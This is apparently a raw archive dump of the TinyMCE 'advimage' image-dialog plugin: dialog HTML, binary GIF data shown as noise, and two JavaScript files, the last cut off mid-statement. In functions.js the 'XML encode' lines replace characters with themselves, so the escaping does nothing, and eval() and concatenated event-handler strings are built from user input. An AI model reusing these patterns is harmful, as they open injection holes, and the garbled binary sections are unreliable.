src="../../utils/validate.js"></script> <script type="text/javascript" src="../../utils/editable_selects.js"></script> <script type="text/javascript" src="js/image.js"></script> <link href="css/advimage.css" rel="stylesheet" type="text/css" /> </head> <body id="advimage" style="display: none"> <form onsubmit="ImageDialog.insert();return false;" action="#"> <div class="tabs"> <ul> <li id="general_tab" class="current"><span><a href="javascript:mcTabs.displayTab('general_tab','general_panel');" onmousedown="return false;">{#advimage_dlg.tab_general}</a></span></li> <li id="appearance_tab"><span><a href="javascript:mcTabs.displayTab('appearance_tab','appearance_panel');" onmousedown="return false;">{#advimage_dlg.tab_appearance}</a></span></li> <li id="advanced_tab"><span><a href="javascript:mcTabs.displayTab('advanced_tab','advanced_panel');" onmousedown="return false;">{#advimage_dlg.tab_advanced}</a></span></li> </ul> </div> <div class="panel_wrapper"> <div id="general_panel" class="panel current"> <fieldset> <legend>{#advimage_dlg.general}</legend> <table class="properties"> <tr> <td class="column1"><label id="srclabel" for="src">{#advimage_dlg.src}</label></td> <td colspan="2"><table border="0" cellspacing="0" cellpadding="0"> <tr> <td><input name="src" type="text" id="src" value="" class="mceFocus" onchange="ImageDialog.showPreviewImage(this.value);" /></td> <td id="srcbrowsercontainer"> </td> </tr> </table></td> </tr> <tr> <td><label for="src_list">{#advimage_dlg.image_list}</label></td> <td><select id="src_list" name="src_list" onchange="document.getElementById('src').value=this.options[this.selectedIndex].value;document.getElementById('alt').value=this.options[this.selectedIndex].text;document.getElementById('title').value=this.options[this.selectedIndex].text;ImageDialog.showPreviewImage(this.options[this.selectedIndex].value);"><option value=""></option></select></td> </tr> <tr> <td class="column1"><label id="altlabel" for="alt">{#advimage_dlg.alt}</label></td> <td colspan="2"><input id="alt" name="alt" type="text" value="" /></td> </tr> <tr> <td class="column1"><label id="titlelabel" for="title">{#advimage_dlg.title}</label></td> <td colspan="2"><input id="title" name="title" type="text" value="" /></td> </tr> </table> </fieldset> <fieldset> <legend>{#advimage_dlg.preview}</legend> <div id="prev"></div> </fieldset> </div> <div id="appearance_panel" class="panel"> <fieldset> <legend>{#advimage_dlg.tab_appearance}</legend> <table border="0" cellpadding="4" cellspacing="0"> <tr> <td class="column1"><label id="alignlabel" for="align">{#advimage_dlg.align}</label></td> <td><select id="align" name="align" onchange="ImageDialog.updateStyle('align');ImageDialog.changeAppearance();"> <option value="">{#not_set}</option> <option value="baseline">{#advimage_dlg.align_baseline}</option> <option value="top">{#advimage_dlg.align_top}</option> <option value="middle">{#advimage_dlg.align_middle}</option> <option value="bottom">{#advimage_dlg.align_bottom}</option> <option value="text-top">{#advimage_dlg.align_texttop}</option> <option value="text-bottom">{#advimage_dlg.align_textbottom}</option> <option value="left">{#advimage_dlg.align_left}</option> <option value="right">{#advimage_dlg.align_right}</option> </select> </td> <td rowspan="6" valign="top"> <div class="alignPreview"> <img id="alignSampleImg" src="img/sample.gif" alt="{#advimage_dlg.example_img}" /> Lorem ipsum, Dolor sit amet, consectetuer adipiscing loreum ipsum edipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat.Loreum ipsum edipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. </div> </td> </tr> <tr> <td class="column1"><label id="widthlabel" for="width">{#advimage_dlg.dimensions}</label></td> <td class="nowrap"> <input name="width" type="text" id="width" value="" size="5" maxlength="5" class="size" onchange="ImageDialog.changeHeight();" /> x <input name="height" type="text" id="height" value="" size="5" maxlength="5" class="size" onchange="ImageDialog.changeWidth();" /> px </td> </tr> <tr> <td> </td> <td><table border="0" cellpadding="0" cellspacing="0"> <tr> <td><input id="constrain" type="checkbox" name="constrain" class="checkbox" /></td> <td><label id="constrainlabel" for="constrain">{#advimage_dlg.constrain_proportions}</label></td> </tr> </table></td> </tr> <tr> <td class="column1"><label id="vspacelabel" for="vspace">{#advimage_dlg.vspace}</label></td> <td><input name="vspace" type="text" id="vspace" value="" size="3" maxlength="3" class="number" onchange="ImageDialog.updateStyle('vspace');ImageDialog.changeAppearance();" onblur="ImageDialog.updateStyle('vspace');ImageDialog.changeAppearance();" /> </td> </tr> <tr> <td class="column1"><label id="hspacelabel" for="hspace">{#advimage_dlg.hspace}</label></td> <td><input name="hspace" type="text" id="hspace" value="" size="3" maxlength="3" class="number" onchange="ImageDialog.updateStyle('hspace');ImageDialog.changeAppearance();" onblur="ImageDialog.updateStyle('hspace');ImageDialog.changeAppearance();" /></td> </tr> <tr> <td class="column1"><label id="borderlabel" for="border">{#advimage_dlg.border}</label></td> <td><input id="border" name="border" type="text" value="" size="3" maxlength="3" class="number" onchange="ImageDialog.updateStyle('border');ImageDialog.changeAppearance();" onblur="ImageDialog.updateStyle('border');ImageDialog.changeAppearance();" /></td> </tr> <tr> <td><label for="class_list">{#class_name}</label></td> <td colspan="2"><select id="class_list" name="class_list" class="mceEditableSelect"><option value=""></option></select></td> </tr> <tr> <td class="column1"><label id="stylelabel" for="style">{#advimage_dlg.style}</label></td> <td colspan="2"><input id="style" name="style" type="text" value="" onchange="ImageDialog.changeAppearance();" /></td> </tr> <!-- <tr> <td class="column1"><label id="classeslabel" for="classes">{#advimage_dlg.classes}</label></td> <td colspan="2"><input id="classes" name="classes" type="text" value="" onchange="selectByValue(this.form,'classlist',this.value,true);" /></td> </tr> --> </table> </fieldset> </div> <div id="advanced_panel" class="panel"> <fieldset> <legend>{#advimage_dlg.swap_image}</legend> <input type="checkbox" id="onmousemovecheck" name="onmousemovecheck" class="checkbox" onclick="ImageDialog.setSwapImage(this.checked);" /> <label id="onmousemovechecklabel" for="onmousemovecheck">{#advimage_dlg.alt_image}</label> <table border="0" cellpadding="4" cellspacing="0" width="100%"> <tr> <td class="column1"><label id="onmouseoversrclabel" for="onmouseoversrc">{#advimage_dlg.mouseover}</label></td> <td><table border="0" cellspacing="0" cellpadding="0"> <tr> <td><input id="onmouseoversrc" name="onmouseoversrc" type="text" value="" /></td> <td id="onmouseoversrccontainer"> </td> </tr> </table></td> </tr> <tr> <td><label for="over_list">{#advimage_dlg.image_list}</label></td> <td><select id="over_list" name="over_list" onchange="document.getElementById('onmouseoversrc').value=this.options[this.selectedIndex].value;"><option value=""></option></select></td> </tr> <tr> <td class="column1"><label id="onmouseoutsrclabel" for="onmouseoutsrc">{#advimage_dlg.mouseout}</label></td> <td class="column2"><table border="0" cellspacing="0" cellpadding="0"> <tr> <td><input id="onmouseoutsrc" name="onmouseoutsrc" type="text" value="" /></td> <td id="onmouseoutsrccontainer"> </td> </tr> </table></td> </tr> <tr> <td><label for="out_list">{#advimage_dlg.image_list}</label></td> <td><select id="out_list" name="out_list" onchange="document.getElementById('onmouseoutsrc').value=this.options[this.selectedIndex].value;"><option value=""></option></select></td> </tr> </table> </fieldset> <fieldset> <legend>{#advimage_dlg.misc}</legend> <table border="0" cellpadding="4" cellspacing="0"> <tr> <td class="column1"><label id="idlabel" for="id">{#advimage_dlg.id}</label></td> <td><input id="id" name="id" type="text" value="" /></td> </tr> <tr> <td class="column1"><label id="dirlabel" for="dir">{#advimage_dlg.langdir}</label></td> <td> <select id="dir" name="dir" onchange="ImageDialog.changeAppearance();"> <option value="">{#not_set}</option> <option value="ltr">{#advimage_dlg.ltr}</option> <option value="rtl">{#advimage_dlg.rtl}</option> </select> </td> </tr> <tr> <td class="column1"><label id="langlabel" for="lang">{#advimage_dlg.langcode}</label></td> <td> <input id="lang" name="lang" type="text" value="" /> </td> </tr> <tr> <td class="column1"><label id="usemaplabel" for="usemap">{#advimage_dlg.map}</label></td> <td> <input id="usemap" name="usemap" type="text" value="" /> </td> </tr> <tr> <td class="column1"><label id="longdesclabel" for="longdesc">{#advimage_dlg.long_desc}</label></td> <td><table border="0" cellspacing="0" cellpadding="0"> <tr> <td><input id="longdesc" name="longdesc" type="text" value="" /></td> <td id="longdesccontainer"> </td> </tr> </table></td> </tr> </table> </fieldset> </div> </div> <div class="mceActionPanel"> <input type="submit" id="insert" name="insert" value="{#insert}" /> <input type="button" id="cancel" name="cancel" value="{#cancel}" onclick="tinyMCEPopup.close();" /> </div> </form> </body> </html> tiny_mce/plugins/advimage/images/sample.gif 0000666 00000003130 15155054006 0015030 0 ustar 00 GIF89a- - ~~~}}}|||zzzxxxwwxvvvtttrrrpppmmmiiieeebbbYYY ! , - - %JPJS2GPINC6#>[b[cHU[V]O;"HVLLNQH8#ń00,,8QL88;;GC7ԃYYSS;LPQQaaXhl8TYC~!Doٸ9,A<9(Sx%5b¸QǐfXb,mXb 'X(Ղ 5 qƣEX]E(3,C49"<.eIێ">n wUI($ܹ=a#I4Ӕ5bM $@0kZK4aÚ 'D~1AA IDɐ@}5Ք-"d Gn"umaÅ τiG^JZGk'[H#CGȚ2OiFΓ DxjPA` .U-0Ca G=hцmE$AC.x u$}E șkD TIo7(euV` /`bqƓOv!DO (rQB 1pQcdhaQ!vqp *B !leFiDn1,қ]TQ #|a&qah d[ vE8qKn/``o葇hU(3r,nP@w1d GdtawɱVAa8 c7ЀEjX!BA]LL!ee!-hG@ tO &А%0DLцdyqF#İOȀ@ +@f&frj D TW]&f`S[m@lp}YaAg@o.ׁuvA1mRMuBK=4Qs j>Pቛm@Nxp,<r '̗G@z"H'/PDh\7 ?X<vXa0 n1T8{C&&C6ATAlpCB9xȃddIPgH'`! /Bo02a|f0 HL@aP:d2".P³2qI ; tiny_mce/plugins/advimage/img/sample.gif 0000666 00000003130 15155054006 0014337 0 ustar 00 GIF89a- - ~~~}}}|||zzzxxxwwxvvvtttrrrpppmmmiiieeebbbYYY ! , - - %JPJS2GPINC6#>[b[cHU[V]O;"HVLLNQH8#ń00,,8QL88;;GC7ԃYYSS;LPQQaaXhl8TYC~!Doٸ9,A<9(Sx%5b¸QǐfXb,mXb 'X(Ղ 5 qƣEX]E(3,C49"<.eIێ">n wUI($ܹ=a#I4Ӕ5bM $@0kZK4aÚ 'D~1AA IDɐ@}5Ք-"d Gn"umaÅ τiG^JZGk'[H#CGȚ2OiFΓ DxjPA` .U-0Ca G=hцmE$AC.x u$}E șkD TIo7(euV` /`bqƓOv!DO (rQB 1pQcdhaQ!vqp *B !leFiDn1,қ]TQ #|a&qah d[ vE8qKn/``o葇hU(3r,nP@w1d GdtawɱVAa8 c7ЀEjX!BA]LL!ee!-hG@ tO &А%0DLцdyqF#İOȀ@ +@f&frj D TW]&f`S[m@lp}YaAg@o.ׁuvA1mRMuBK=4Qs j>Pቛm@Nxp,<r '̗G@z"H'/PDh\7 ?X<vXa0 n1T8{C&&C6ATAlpCB9xȃddIPgH'`! /Bo02a|f0 HL@aP:d2".P³2qI ; tiny_mce/plugins/advimage/js/image.js 0000666 00000030320 15155054006 0013650 0 ustar 00 var ImageDialog = { preInit : function() { var url; tinyMCEPopup.requireLangPack(); if (url = tinyMCEPopup.getParam("external_image_list_url")) document.write('<script language="javascript" type="text/javascript" src="' + tinyMCEPopup.editor.documentBaseURI.toAbsolute(url) + '"></script>'); }, init : function(ed) { var f = document.forms[0], nl = f.elements, ed = tinyMCEPopup.editor, dom = ed.dom, n = ed.selection.getNode(); tinyMCEPopup.resizeToInnerSize(); this.fillClassList('class_list'); this.fillFileList('src_list', 'tinyMCEImageList'); this.fillFileList('over_list', 'tinyMCEImageList'); this.fillFileList('out_list', 'tinyMCEImageList'); TinyMCE_EditableSelects.init(); if (n.nodeName == 'IMG') { nl.src.value = dom.getAttrib(n, 'src'); nl.width.value = dom.getAttrib(n, 'width'); nl.height.value = dom.getAttrib(n, 'height'); nl.alt.value = dom.getAttrib(n, 'alt'); nl.title.value = dom.getAttrib(n, 'title'); nl.vspace.value = this.getAttrib(n, 'vspace'); nl.hspace.value = this.getAttrib(n, 'hspace'); nl.border.value = this.getAttrib(n, 'border'); selectByValue(f, 'align', this.getAttrib(n, 'align')); selectByValue(f, 'class_list', dom.getAttrib(n, 'class'), true, true); nl.style.value = dom.getAttrib(n, 'style'); nl.id.value = dom.getAttrib(n, 'id'); nl.dir.value = dom.getAttrib(n, 'dir'); nl.lang.value = dom.getAttrib(n, 'lang'); nl.usemap.value = dom.getAttrib(n, 'usemap'); nl.longdesc.value = dom.getAttrib(n, 'longdesc'); nl.insert.value = ed.getLang('update'); if (/^\s*this.src\s*=\s*\'([^\']+)\';?\s*$/.test(dom.getAttrib(n, 'onmouseover'))) nl.onmouseoversrc.value = dom.getAttrib(n, 'onmouseover').replace(/^\s*this.src\s*=\s*\'([^\']+)\';?\s*$/, '$1'); if (/^\s*this.src\s*=\s*\'([^\']+)\';?\s*$/.test(dom.getAttrib(n, 'onmouseout'))) nl.onmouseoutsrc.value = dom.getAttrib(n, 'onmouseout').replace(/^\s*this.src\s*=\s*\'([^\']+)\';?\s*$/, '$1'); if (ed.settings.inline_styles) { // Move attribs to styles if (dom.getAttrib(n, 'align')) this.updateStyle('align'); if (dom.getAttrib(n, 'hspace')) this.updateStyle('hspace'); if (dom.getAttrib(n, 'border')) this.updateStyle('border'); if (dom.getAttrib(n, 'vspace')) this.updateStyle('vspace'); } } // Setup browse button document.getElementById('srcbrowsercontainer').innerHTML = getBrowserHTML('srcbrowser','src','image','theme_advanced_image'); if (isVisible('srcbrowser')) document.getElementById('src').style.width = '260px'; // Setup browse button document.getElementById('onmouseoversrccontainer').innerHTML = getBrowserHTML('overbrowser','onmouseoversrc','image','theme_advanced_image'); if (isVisible('overbrowser')) document.getElementById('onmouseoversrc').style.width = '260px'; // Setup browse button document.getElementById('onmouseoutsrccontainer').innerHTML = getBrowserHTML('outbrowser','onmouseoutsrc','image','theme_advanced_image'); if (isVisible('outbrowser')) document.getElementById('onmouseoutsrc').style.width = '260px'; // If option enabled default contrain proportions to checked if (ed.getParam("advimage_constrain_proportions", true)) f.constrain.checked = true; // Check swap image if valid data if (nl.onmouseoversrc.value || nl.onmouseoutsrc.value) this.setSwapImage(true); else this.setSwapImage(false); this.changeAppearance(); this.showPreviewImage(nl.src.value, 1); }, insert : function(file, title) { var ed = tinyMCEPopup.editor, t = this, f = document.forms[0]; if (f.src.value === '') { if (ed.selection.getNode().nodeName == 'IMG') { ed.dom.remove(ed.selection.getNode()); ed.execCommand('mceRepaint'); } tinyMCEPopup.close(); return; } if (tinyMCEPopup.getParam("accessibility_warnings", 1)) { if (!f.alt.value) { tinyMCEPopup.confirm(tinyMCEPopup.getLang('advimage_dlg.missing_alt'), function(s) { if (s) t.insertAndClose(); }); return; } } t.insertAndClose(); }, insertAndClose : function() { var ed = tinyMCEPopup.editor, f = document.forms[0], nl = f.elements, v, args = {}, el; tinyMCEPopup.restoreSelection(); // Fixes crash in Safari if (tinymce.isWebKit) ed.getWin().focus(); if (!ed.settings.inline_styles) { args = { vspace : nl.vspace.value, hspace : nl.hspace.value, border : nl.border.value, align : getSelectValue(f, 'align') }; } else { // Remove deprecated values args = { vspace : '', hspace : '', border : '', align : '' }; } tinymce.extend(args, { src : nl.src.value, width : nl.width.value, height : nl.height.value, alt : nl.alt.value, title : nl.title.value, 'class' : getSelectValue(f, 'class_list'), style : nl.style.value, id : nl.id.value, dir : nl.dir.value, lang : nl.lang.value, usemap : nl.usemap.value, longdesc : nl.longdesc.value }); args.onmouseover = args.onmouseout = ''; if (f.onmousemovecheck.checked) { if (nl.onmouseoversrc.value) args.onmouseover = "this.src='" + nl.onmouseoversrc.value + "';"; if (nl.onmouseoutsrc.value) args.onmouseout = "this.src='" + nl.onmouseoutsrc.value + "';"; } el = ed.selection.getNode(); if (el && el.nodeName == 'IMG') { ed.dom.setAttribs(el, args); } else { ed.execCommand('mceInsertContent', false, '<img id="__mce_tmp" />', {skip_undo : 1}); ed.dom.setAttribs('__mce_tmp', args); ed.dom.setAttrib('__mce_tmp', 'id', ''); ed.undoManager.add(); } tinyMCEPopup.close(); }, getAttrib : function(e, at) { var ed = tinyMCEPopup.editor, dom = ed.dom, v, v2; if (ed.settings.inline_styles) { switch (at) { case 'align': if (v = dom.getStyle(e, 'float')) return v; if (v = dom.getStyle(e, 'vertical-align')) return v; break; case 'hspace': v = dom.getStyle(e, 'margin-left') v2 = dom.getStyle(e, 'margin-right'); if (v && v == v2) return parseInt(v.replace(/[^0-9]/g, '')); break; case 'vspace': v = dom.getStyle(e, 'margin-top') v2 = dom.getStyle(e, 'margin-bottom'); if (v && v == v2) return parseInt(v.replace(/[^0-9]/g, '')); break; case 'border': v = 0; tinymce.each(['top', 'right', 'bottom', 'left'], function(sv) { sv = dom.getStyle(e, 'border-' + sv + '-width'); // False or not the same as prev if (!sv || (sv != v && v !== 0)) { v = 0; return false; } if (sv) v = sv; }); if (v) return parseInt(v.replace(/[^0-9]/g, '')); break; } } if (v = dom.getAttrib(e, at)) return v; return ''; }, setSwapImage : function(st) { var f = document.forms[0]; f.onmousemovecheck.checked = st; setBrowserDisabled('overbrowser', !st); setBrowserDisabled('outbrowser', !st); if (f.over_list) f.over_list.disabled = !st; if (f.out_list) f.out_list.disabled = !st; f.onmouseoversrc.disabled = !st; f.onmouseoutsrc.disabled = !st; }, fillClassList : function(id) { var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl; if (v = tinyMCEPopup.getParam('theme_advanced_styles')) { cl = []; tinymce.each(v.split(';'), function(v) { var p = v.split('='); cl.push({'title' : p[0], 'class' : p[1]}); }); } else cl = tinyMCEPopup.editor.dom.getClasses(); if (cl.length > 0) { lst.options.length = 0; lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('not_set'), ''); tinymce.each(cl, function(o) { lst.options[lst.options.length] = new Option(o.title || o['class'], o['class']); }); } else dom.remove(dom.getParent(id, 'tr')); }, fillFileList : function(id, l) { var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl; l = window[l]; lst.options.length = 0; if (l && l.length > 0) { lst.options[lst.options.length] = new Option('', ''); tinymce.each(l, function(o) { lst.options[lst.options.length] = new Option(o[0], o[1]); }); } else dom.remove(dom.getParent(id, 'tr')); }, resetImageData : function() { var f = document.forms[0]; f.elements.width.value = f.elements.height.value = ''; }, updateImageData : function(img, st) { var f = document.forms[0]; if (!st) { f.elements.width.value = img.width; f.elements.height.value = img.height; } this.preloadImg = img; }, changeAppearance : function() { var ed = tinyMCEPopup.editor, f = document.forms[0], img = document.getElementById('alignSampleImg'); if (img) { if (ed.getParam('inline_styles')) { ed.dom.setAttrib(img, 'style', f.style.value); } else { img.align = f.align.value; img.border = f.border.value; img.hspace = f.hspace.value; img.vspace = f.vspace.value; } } }, changeHeight : function() { var f = document.forms[0], tp, t = this; if (!f.constrain.checked || !t.preloadImg) { return; } if (f.width.value == "" || f.height.value == "") return; tp = (parseInt(f.width.value) / parseInt(t.preloadImg.width)) * t.preloadImg.height; f.height.value = tp.toFixed(0); }, changeWidth : function() { var f = document.forms[0], tp, t = this; if (!f.constrain.checked || !t.preloadImg) { return; } if (f.width.value == "" || f.height.value == "") return; tp = (parseInt(f.height.value) / parseInt(t.preloadImg.height)) * t.preloadImg.width; f.width.value = tp.toFixed(0); }, updateStyle : function(ty) { var dom = tinyMCEPopup.dom, st, v, f = document.forms[0], img = dom.create('img', {style : dom.get('style').value}); if (tinyMCEPopup.editor.settings.inline_styles) { // Handle align if (ty == 'align') { dom.setStyle(img, 'float', ''); dom.setStyle(img, 'vertical-align', ''); v = getSelectValue(f, 'align'); if (v) { if (v == 'left' || v == 'right') dom.setStyle(img, 'float', v); else img.style.verticalAlign = v; } } // Handle border if (ty == 'border') { dom.setStyle(img, 'border', ''); v = f.border.value; if (v || v == '0') { if (v == '0') img.style.border = '0'; else img.style.border = v + 'px solid black'; } } // Handle hspace if (ty == 'hspace') { dom.setStyle(img, 'marginLeft', ''); dom.setStyle(img, 'marginRight', ''); v = f.hspace.value; if (v) { img.style.marginLeft = v + 'px'; img.style.marginRight = v + 'px'; } } // Handle vspace if (ty == 'vspace') { dom.setStyle(img, 'marginTop', ''); dom.setStyle(img, 'marginBottom', ''); v = f.vspace.value; if (v) { img.style.marginTop = v + 'px'; img.style.marginBottom = v + 'px'; } } // Merge dom.get('style').value = dom.serializeStyle(dom.parseStyle(img.style.cssText), 'img'); } }, changeMouseMove : function() { }, showPreviewImage : function(u, st) { if (!u) { tinyMCEPopup.dom.setHTML('prev', ''); return; } if (!st && tinyMCEPopup.getParam("advimage_update_dimensions_onchange", true)) this.resetImageData(); u = tinyMCEPopup.editor.documentBaseURI.toAbsolute(u); if (!st) tinyMCEPopup.dom.setHTML('prev', '<img id="previewImg" src="' + u + '" border="0" onload="ImageDialog.updateImageData(this);" onerror="ImageDialog.resetImageData();" />'); else tinyMCEPopup.dom.setHTML('prev', '<img id="previewImg" src="' + u + '" border="0" onload="ImageDialog.updateImageData(this, 1);" />'); } }; ImageDialog.preInit(); tinyMCEPopup.onInit.add(ImageDialog.init, ImageDialog); tiny_mce/plugins/advimage/jscripts/functions.js 0000666 00000037737 15155054006 0016046 0 ustar 00 /* Functions for the advimage plugin popup */ var preloadImg = null; var orgImageWidth, orgImageHeight; function preinit() { // Initialize tinyMCE.setWindowArg('mce_windowresize', false); // Import external list url javascript var url = tinyMCE.getParam("external_image_list_url"); if (url != null) { // Fix relative if (url.charAt(0) != '/' && url.indexOf('://') == -1) url = tinyMCE.documentBasePath + "/" + url; document.write('<sc'+'ript language="javascript" type="text/javascript" src="' + url + '"></sc'+'ript>'); } } function convertURL(url, node, on_save) { return eval("tinyMCEPopup.windowOpener." + tinyMCE.settings['urlconverter_callback'] + "(url, node, on_save);"); } function getImageSrc(str) { var pos = -1; if (!str) return ""; if ((pos = str.indexOf('this.src=')) != -1) { var src = str.substring(pos + 10); src = src.substring(0, src.indexOf('\'')); if (tinyMCE.getParam('convert_urls')) src = convertURL(src, null, true); return src; } return ""; } function init() { tinyMCEPopup.resizeToInnerSize(); var formObj = document.forms[0]; var inst = tinyMCE.getInstanceById(tinyMCE.getWindowArg('editor_id')); var elm = inst.getFocusElement(); var action = "insert"; var html = ""; // Image list src html = getImageListHTML('imagelistsrc','src','onSelectMainImage'); if (html == "") document.getElementById("imagelistsrcrow").style.display = 'none'; else document.getElementById("imagelistsrccontainer").innerHTML = html; // Image list oversrc html = getImageListHTML('imagelistover','onmouseoversrc'); if (html == "") document.getElementById("imagelistoverrow").style.display = 'none'; else document.getElementById("imagelistovercontainer").innerHTML = html; // Image list outsrc html = getImageListHTML('imagelistout','onmouseoutsrc'); if (html == "") document.getElementById("imagelistoutrow").style.display = 'none'; else document.getElementById("imagelistoutcontainer").innerHTML = html; // Src browser html = getBrowserHTML('srcbrowser','src','image','advimage'); document.getElementById("srcbrowsercontainer").innerHTML = html; // Over browser html = getBrowserHTML('oversrcbrowser','onmouseoversrc','image','advimage'); document.getElementById("onmouseoversrccontainer").innerHTML = html; // Out browser html = getBrowserHTML('outsrcbrowser','onmouseoutsrc','image','advimage'); document.getElementById("onmouseoutsrccontainer").innerHTML = html; // Longdesc browser html = getBrowserHTML('longdescbrowser','longdesc','file','advimage'); document.getElementById("longdesccontainer").innerHTML = html; // Resize some elements if (isVisible('srcbrowser')) document.getElementById('src').style.width = '260px'; if (isVisible('oversrcbrowser')) document.getElementById('onmouseoversrc').style.width = '260px'; if (isVisible('outsrcbrowser')) document.getElementById('onmouseoutsrc').style.width = '260px'; if (isVisible('longdescbrowser')) document.getElementById('longdesc').style.width = '180px'; // Check action if (elm != null && elm.nodeName == "IMG") action = "update"; formObj.insert.value = tinyMCE.getLang('lang_' + action, 'Insert', true); if (action == "update") { var src = tinyMCE.getAttrib(elm, 'src'); var onmouseoversrc = getImageSrc(tinyMCE.cleanupEventStr(tinyMCE.getAttrib(elm, 'onmouseover'))); var onmouseoutsrc = getImageSrc(tinyMCE.cleanupEventStr(tinyMCE.getAttrib(elm, 'onmouseout'))); src = convertURL(src, elm, true); // Use mce_src if found var mceRealSrc = tinyMCE.getAttrib(elm, 'mce_src'); if (mceRealSrc != "") { src = mceRealSrc; if (tinyMCE.getParam('convert_urls')) src = convertURL(src, elm, true); } if (onmouseoversrc != "" && tinyMCE.getParam('convert_urls')) onmouseoversrc = convertURL(onmouseoversrc, elm, true); if (onmouseoutsrc != "" && tinyMCE.getParam('convert_urls')) onmouseoutsrc = convertURL(onmouseoutsrc, elm, true); // Setup form data var style = tinyMCE.parseStyle(tinyMCE.getAttrib(elm, "style")); // Store away old size orgImageWidth = trimSize(getStyle(elm, 'width')) orgImageHeight = trimSize(getStyle(elm, 'height')); formObj.src.value = src; formObj.alt.value = tinyMCE.getAttrib(elm, 'alt'); formObj.title.value = tinyMCE.getAttrib(elm, 'title'); formObj.border.value = trimSize(getStyle(elm, 'border', 'borderWidth')); formObj.vspace.value = tinyMCE.getAttrib(elm, 'vspace'); formObj.hspace.value = tinyMCE.getAttrib(elm, 'hspace'); formObj.width.value = orgImageWidth; formObj.height.value = orgImageHeight; formObj.onmouseoversrc.value = onmouseoversrc; formObj.onmouseoutsrc.value = onmouseoutsrc; formObj.id.value = tinyMCE.getAttrib(elm, 'id'); formObj.dir.value = tinyMCE.getAttrib(elm, 'dir'); formObj.lang.value = tinyMCE.getAttrib(elm, 'lang'); formObj.longdesc.value = tinyMCE.getAttrib(elm, 'longdesc'); formObj.usemap.value = tinyMCE.getAttrib(elm, 'usemap'); formObj.style.value = tinyMCE.serializeStyle(style); // Select by the values if (tinyMCE.isMSIE) selectByValue(formObj, 'align', getStyle(elm, 'align', 'styleFloat')); else selectByValue(formObj, 'align', getStyle(elm, 'align', 'cssFloat')); addClassesToList('classlist', 'advimage_styles'); selectByValue(formObj, 'classlist', tinyMCE.getAttrib(elm, 'class')); selectByValue(formObj, 'imagelistsrc', src); selectByValue(formObj, 'imagelistover', onmouseoversrc); selectByValue(formObj, 'imagelistout', onmouseoutsrc); updateStyle(); showPreviewImage(src, true); changeAppearance(); window.focus(); } else addClassesToList('classlist', 'advimage_styles'); // If option enabled default contrain proportions to checked if (tinyMCE.getParam("advimage_constrain_proportions", true)) formObj.constrain.checked = true; // Check swap image if valid data if (formObj.onmouseoversrc.value != "" || formObj.onmouseoutsrc.value != "") setSwapImageDisabled(false); else setSwapImageDisabled(true); } function setSwapImageDisabled(state) { var formObj = document.forms[0]; formObj.onmousemovecheck.checked = !state; setBrowserDisabled('overbrowser', state); setBrowserDisabled('outbrowser', state); if (formObj.imagelistover) formObj.imagelistover.disabled = state; if (formObj.imagelistout) formObj.imagelistout.disabled = state; formObj.onmouseoversrc.disabled = state; formObj.onmouseoutsrc.disabled = state; } function setAttrib(elm, attrib, value) { var formObj = document.forms[0]; var valueElm = formObj.elements[attrib]; if (typeof(value) == "undefined" || value == null) { value = ""; if (valueElm) value = valueElm.value; } if (value != "") { elm.setAttribute(attrib, value); if (attrib == "style") attrib = "style.cssText"; if (attrib == "longdesc") attrib = "longDesc"; if (attrib == "width") { attrib = "style.width"; value = value + "px"; value = value.replace(/%px/g, 'px'); } if (attrib == "height") { attrib = "style.height"; value = value + "px"; value = value.replace(/%px/g, 'px'); } if (attrib == "class") attrib = "className"; eval('elm.' + attrib + "=value;"); } else { if (attrib == 'class') elm.className = ''; elm.removeAttribute(attrib); } } function makeAttrib(attrib, value) { var formObj = document.forms[0]; var valueElm = formObj.elements[attrib]; if (typeof(value) == "undefined" || value == null) { value = ""; if (valueElm) value = valueElm.value; } if (value == "") return ""; // XML encode it value = value.replace(/&/g, '&'); value = value.replace(/\"/g, '"'); value = value.replace(/</g, '<'); value = value.replace(/>/g, '>'); return ' ' + attrib + '="' + value + '"'; } function insertAction() { var inst = tinyMCE.getInstanceById(tinyMCE.getWindowArg('editor_id')); var elm = inst.getFocusElement(); var formObj = document.forms[0]; var src = formObj.src.value; var onmouseoversrc = formObj.onmouseoversrc.value; var onmouseoutsrc = formObj.onmouseoutsrc.value; if (!AutoValidator.validate(formObj)) { alert(tinyMCE.getLang('lang_invalid_data')); return false; } if (tinyMCE.getParam("accessibility_warnings")) { if (formObj.alt.value == "" && !confirm(tinyMCE.getLang('lang_advimage_missing_alt', '', true))) return; } if (onmouseoversrc && onmouseoversrc != "") onmouseoversrc = "this.src='" + convertURL(onmouseoversrc, tinyMCE.imgElement) + "';"; if (onmouseoutsrc && onmouseoutsrc != "") onmouseoutsrc = "this.src='" + convertURL(onmouseoutsrc, tinyMCE.imgElement) + "';"; if (elm != null && elm.nodeName == "IMG") { setAttrib(elm, 'src', convertURL(src, tinyMCE.imgElement)); setAttrib(elm, 'mce_src', src); setAttrib(elm, 'alt'); setAttrib(elm, 'title'); setAttrib(elm, 'border'); setAttrib(elm, 'vspace'); setAttrib(elm, 'hspace'); setAttrib(elm, 'width'); setAttrib(elm, 'height'); setAttrib(elm, 'onmouseover', onmouseoversrc); setAttrib(elm, 'onmouseout', onmouseoutsrc); setAttrib(elm, 'id'); setAttrib(elm, 'dir'); setAttrib(elm, 'lang'); setAttrib(elm, 'longdesc'); setAttrib(elm, 'usemap'); setAttrib(elm, 'style'); setAttrib(elm, 'class', getSelectValue(formObj, 'classlist')); setAttrib(elm, 'align', getSelectValue(formObj, 'align')); //tinyMCEPopup.execCommand("mceRepaint"); // Repaint if dimensions changed if (formObj.width.value != orgImageWidth || formObj.height.value != orgImageHeight) inst.repaint(); // Refresh in old MSIE if (tinyMCE.isMSIE5) elm.outerHTML = elm.outerHTML; } else { var html = "<img"; html += makeAttrib('src', convertURL(src, tinyMCE.imgElement)); html += makeAttrib('mce_src', src); html += makeAttrib('alt'); html += makeAttrib('title'); html += makeAttrib('border'); html += makeAttrib('vspace'); html += makeAttrib('hspace'); html += makeAttrib('width'); html += makeAttrib('height'); html += makeAttrib('onmouseover', onmouseoversrc); html += makeAttrib('onmouseout', onmouseoutsrc); html += makeAttrib('id'); html += makeAttrib('dir'); html += makeAttrib('lang'); html += makeAttrib('longdesc'); html += makeAttrib('usemap'); html += makeAttrib('style'); html += 